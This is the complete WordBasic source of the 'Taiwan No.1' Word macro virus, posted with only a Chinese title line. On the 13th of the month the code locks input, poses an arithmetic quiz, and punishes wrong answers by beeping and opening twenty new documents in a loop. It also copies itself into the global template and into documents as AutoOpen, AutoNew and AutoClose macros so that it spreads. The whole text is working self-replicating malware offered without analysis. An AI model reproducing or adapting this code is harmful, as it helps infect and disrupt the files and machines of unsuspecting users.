台湾NO.1 WORD宏病毒源码 ：

Dim Shared nm(4)
Sub MAIN
DisableInput 1
If Day(Now()) = 13 Then
try:
On Error Goto 0
On Error Goto try
test = - 1
con = 1
tog$ = ""
i = 0

　　　　　　　　While test = - 1

　　　　　　　　　　　　For i = 0 To 4
　　　　　　　　　　　　nm(i) = Int(Rnd() * 10000)　　　　　　　　　　　　　　　
　　　　　　　　　　　　con = (con * nm(i))
　　　　　　　　　　　　If i = 4 Then
　　　　　　　　　　　　tog$ = tog$ + Str$(nm(4)) + " =?"
　　　　　　　　　　　　Goto beg
　　　　　　　　　　　　End If
　　　　　　　　　　　　tog$ = tog$ + Str$(nm(i)) + " *"
　　　　　　　　　　　　Next i
beg:　　　　　　
　　　　　　　　　　　　Beep
　　　　　　　　　　　　ans$ = InputBox$("今天是 " + Date$() + " ,跟你玩一个
心算游戏" +
Chr$(13) + \
"若你答错,只好接受震撼教育.............." + Chr$(13) + \
tog$, "台湾 NO.1 Macro Virus")
　　　　　　　　If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
　　　　　　　　　　　　MsgBox "恭贺你答对了,按确定就告诉你想知道的....", \
　　　　　　　　　　　　　　　　　　　　"台湾 NO.1 Macro Virus"
　　　　　　　　　　　　FileNewDefault
　　　　　　　　　　　　CenterPara
　　　　　　　　　　　　FormatFont .Font = "细明体", .Points = 16,　
.Bold = 1, .Underline = 1　　
　　　　　　　　　　　　Beep
　　　　　　　　　　　　Insert "何谓巨集病毒　"
　　　　　　　　　　　　InsertPara
　　　　　　　　　　　　Beep
　　　　　　　　　　　　Insert "答案:"
　　　　　　　　　　　　Italic 1
　　　　　　　　　　　　Insert "我就是....."
　　　　　　　　　　　　InsertPara
　　　　　　　　　　　　InsertPara
　　　　　　　　　　　　Italic 0
　　　　　　　　　　　　FormatFont .Font = "细明体", .Points = 16,
.Bold = 1, .Underline = 1　　
　　　　　　　　　　　　Beep
　　　　　　　　　　　　Insert "如何预防巨集病毒　"
　　　　　　　　　　　　InsertPara
　　　　　　　　　　　　Beep
　　　　　　　　　　　　Insert "答案:"
　　　　　　　　　　　　Italic 1
　　　　　　　　　　　　Insert "不要看我....."
　　　　　　　　　　　　Goto exit
　　　　　　　　　　　　Else
　　　　　　　　　　　　For j = 1 To 20
　　　　　　　　　　　　Beep
　　　　　　　　　　　　FileNewDefault
　　　　　　　　　　　　Next j　
　　　　　　　　　　　　CenterPara
　　　　　　　　　　　　FormatFont .Font = "细明体", .Points = 16,
.Bold = 1, .Underline = 1　　
　　　　　　　　　　　　Insert "巨集病毒"
　　　　　　　　　　　　Goto try
　　　　　　　　　　　　End If

　　　　　　　　Wend
　　　　　　　　　　　　End If

nor = CountMacros(0)
If nor > 0 Then
　　　　For kk = 1 To nor
　　　　　　　　If MacroName$(kk, 0) = "AutoOpen" Then
　　　　　　　　t = 1
　　　　　　　　End If
　　　　　　　　Next kk
　　　　　　　　
End If　

file$ = FileName$()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
　　　　MacroCopy filem$, "AutoOpen"
　　　　MacroCopy filem$, "AutoNew"
　　　　MacroCopy filem$, "AutoClose"
End If

nor1 = CountMacros(1)
If nor1 > 0 Then
　　　　For kkk = 1 To nor1
　　　　　　　　If MacroName$(kkk, 1) = "AutoOpen" Then
　　　　　　　　tt = 1
　　　　　　　　End If
　　　　　　　　Next kkk
　　　　　　　　
End If　

If tt <> 1 Then
　　　　FileSaveAs .Format = 1
　　　　MacroCopy "AutoOpen", filem$　　
End If